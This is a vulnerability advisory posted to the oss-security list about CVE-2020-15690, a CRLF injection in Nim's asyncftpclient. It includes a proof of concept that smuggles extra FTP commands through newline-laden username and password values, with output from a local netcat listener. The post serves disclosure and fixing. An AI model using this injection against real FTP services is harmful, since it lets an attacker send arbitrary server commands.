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Date: Thu, 4 Feb 2021 15:58:23 +0100
From: Martin Ortner <martin.ortner@...sensys.net>
To: oss-security@...ts.openwall.com
Subject: [CVE-2020-15690] Nim - stdlib asyncftpd - Crlf Injection

title: "Nim - stdlib asyncftpd - Crlf Injection"
date: 2021-02-04T15:25:49+01:00

cve: ["CVE-2020-15690"]
vendor: nim-lang
vendorUrl: <https://nim-lang.org/>
authors: tintinweb
affectedVersions: ["< 1.2.6"]
vulnClass: CWE-93

Vulnerability Note: <https://consensys.net/diligence/vulnerabilities/nim-asyncftpd-crlf-injection/>
Vulnerability Note: <https://github.com/tintinweb/pub/tree/master/pocs/cve-2020-15690>
Group: <https://consensys.net/diligence/research/>

Vulnerability Note

Summary

In Nim before 1.2.6, the standard library asyncftpclient lacks a check for whether a message contains a newline character.

Details

Description

The nim standard library 'asyncftpclient' is vulnerable to multiple 'CR-LF' injections. An injection is possible if the attacker controls any argument that is passed to the remote server such as the 'username' and 'password' to 'newAsyncFtpClient'.

The root cause of this issue is that the 'send(ftp, msg)' allows 'msg' to contain 'CR-LF' control characters. An attacker that controls any unchecked input to 'send()' can therefore inject arbitrary FTP commands.

```
``nim
proc send*(ftp: AsyncFtpClient, m: string): Future[TaintedString] (.async) =
  ## Send a message to the server, and wait for a primary reply.
  ## '\c\L' is added for you.
  ##
  ## **Note:** The server may return multiple lines of coded replies.
  await ftp.csock.send(m & "\c\L")
  return await ftp.expectReply()
``
```

Proof of Concept

Note: 'nim c -r -d:ssl crlf_inject.nim'

* Injecting FTP commands via 'user' and 'pass'

```
``nim
import asyncdispatch, asyncftpclient
proc main() (.async) =
  var ftp = newAsyncFtpClient("localhost", user = "test\nINJECTED_LINE test test", pass = "test\nINJECTED_LINE test test 2")
  await ftp.connect()
  echo("Connected")
waitFor(main())
``
```

Output:

```
...
⇒ nim c -r -d:ssl crlf_inject.nim
...
Hint: 104717 LOC; 1.030 sec; 113.309MiB peakmem; Debug build; proj: /Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject.nim; out: /Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject [SuccessX]
Hint: /Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject [Exec]
Connected
...
```

```
...
⇒ nc -l 21
220 fake ftp
USER test
INJECTED_LINE test test
230 Hi test, thanks for injecting a line...
PASS test
INJECTED_LINE test test 2
230 thx For injecting another line...
...
```

Proposed Fix

- properly validate user input
- raise an exception if 'CR' or 'LF' if found in the 'msg' passed to 'send()'

Vendor Response

Vendor response: fixed in 1.2.6

Timeline

```
...
JUL/13/2020 - contact dom96//AT//telegram; provided details, PoC
FEB/04/2020 - public disclosure
...
```

References

* [1] <https://nim-lang.org/>
* [2] <https://nim-lang.org/install.html>
* [3] [https://en.wikipedia.org/wiki/Nim_\(programming_language\)](https://en.wikipedia.org/wiki/Nim_(programming_language))

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